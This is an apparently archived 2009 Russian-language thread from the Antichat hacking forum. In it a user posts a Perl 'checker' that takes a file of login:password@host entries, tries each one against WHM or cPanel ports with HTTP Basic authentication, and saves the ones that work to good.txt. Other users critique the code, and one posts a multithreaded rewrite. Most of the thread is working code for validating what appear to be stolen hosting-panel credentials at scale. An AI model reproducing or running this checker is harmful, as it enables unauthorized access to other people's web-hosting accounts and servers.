ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
[PERL]Simple WHM & Cpanel Checker |

03.02.2009, 02:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
[PERL]Simple WHM & Cpanel Checker
Простенький чекер WHM и CPANEL акков
Скармливать файл с акками вида:
login  ass@host.com
login1  ass1@host1.com
login2  ass2@host2.com
PHP код:
#!/usr/bin/perl
use IO::Socket;
use MIME::Base64;
my @acc : shared;
my $i : shared;
$accounts = 'accs.txt'; #Файл с акками
$good = 'good.txt'; #Файл с прочеканными гуд акками
$port = '2086'; #WHM - 2086, Cpanel - 2082
$timeout = '5'; #Таймаут
open (ACS, "<$accounts");
@acc = acc();
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my ($logpass, $server) = split(/@/, $acc);
my ($login, $pass) = split(/:/, $logpass);
$lp = $login.":".$pass;
$nn = "\r\n";
$auth = MIME::Base64::encode($lp);
my $sock = new IO::Socket::INET
(
PeerAddr => $server,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if(!$sock){
print "$server - [TIMEOUT]\n"
}else{
my $re = "GET / HTTP/1.1".$nn.
"Host: ".$server.$nn.
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
"Pragma: no-cache".$nn.
"Cache-Control: no-cache".$nn.
"Authorization: Basic ".$auth.$nn.
"Connection: Keep-Alive".$nn.$nn;
print $sock $re;
sysread ($sock, my $answ, 400);
close $sock;
if ($answ =~ /200/){
print "$server - [OK]\n";
open(FILE, ">>$good");
print FILE "$acc\n";
close(FILE);
}else{
print "$server - [BAD]\n";
}
{lock($i);$i++;}
}
}
sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}
|
|
|

03.02.2009, 22:45
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
Неужели никто покритиковать не может? 
|
|
|

03.02.2009, 23:01
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
говно
|
|
|

04.02.2009, 00:17
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
спасибки чаки 
|
|
|

04.02.2009, 16:52
|
|
Участник форума
Регистрация: 11.07.2007
Сообщений: 292
Провел на форуме: 2131521
Репутация:
512
|
|
добавь многопоточность
|
|
|

04.02.2009, 21:35
|
|
Участник форума
Регистрация: 05.11.2008
Сообщений: 105
Провел на форуме: 292722
Репутация:
71
|
|
просили по критиковать, критикую :-)
зачем shared, если потоков нет?
Код:
my @acc : shared;
my $i : shared;
не лучше ли использовать $/ вместо:
Везде нормально, а тут почему то переменные внесены в кавычки!
Код:
print "$server - [OK]\n";
print FILE "$acc\n";
print "$server - [BAD]\n";
Почему бы не написать так:
Код:
print $server." - [OK]".$/;
print FILE $acc.$/;
print $server." - [BAD]".$/;
Последний раз редактировалось demond; 04.02.2009 в 21:40..
|
|
|

04.02.2009, 22:17
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
N19hTW0lF, в след версии сделаю
demond, спасибо в след версии учту ( я только учусь  )
|
|
|

04.02.2009, 22:22
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Вы что задроты так код палировать?
|
|
|

04.02.2009, 23:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Вы что задроты так код палировать?
А это мысль...
Код:
#!/usr/bin/perl -w
use strict;
use threads;
use threads::shared;
use IO::Socket;
use MIME::Base64();
use Fcntl ':flock';
my $accounts = 'accs.txt'; #Файл с акками login:pass@host
my $good = 'good.txt'; #Файл с прочеканными гуд акками
my $port = '2082' ; #WHM - 2086, Cpanel - 2082
my $timeout = 5 ; #Таймаут
my $threads = 1 ; #Потоки
$| = 1;
my @trl;
open ACS, "<", $accounts || die $!;
chomp(my @acc : shared = <ACS>);
close ACS;
my $size = scalar @acc;
my $i : shared = 0;
for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
for(@trl) { $_->join; }
sub check {
while(@acc)
{
my ($cred, $host) = split /@/, shift @acc;
my $s = sockme($host, $port);
next if !$s;
my $request = "GET / HTTP/1.0\n".
"Host: $host\n".
"User-Agent: Mozilla/5.0\n".
"Connection: close\n".
"Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
print $s $request;
read $s, my $answ, 128;
$answ =~ /200 OK/ ? note($cred.':'.$host) : ();
{lock($i);$i++;}
print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
}
}
sub note {
print localtime()." [+] $_[0]\n";
open F, ">>", $good || warn $!;
flock F, 'LOCK_EX';
print F $_[0]."\n";
flock F, 'LOCK_UN';
close F;
}
sub sockme {
my $sock = new IO::Socket::INET
(
PeerAddr => $_[0],
PeerPort => $_[1],
PeerProto => 'tcp',
TimeOut => $timeout,
) || warn $!;
return $sock ? $sock : 0;
}
Мб есть косяки...
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|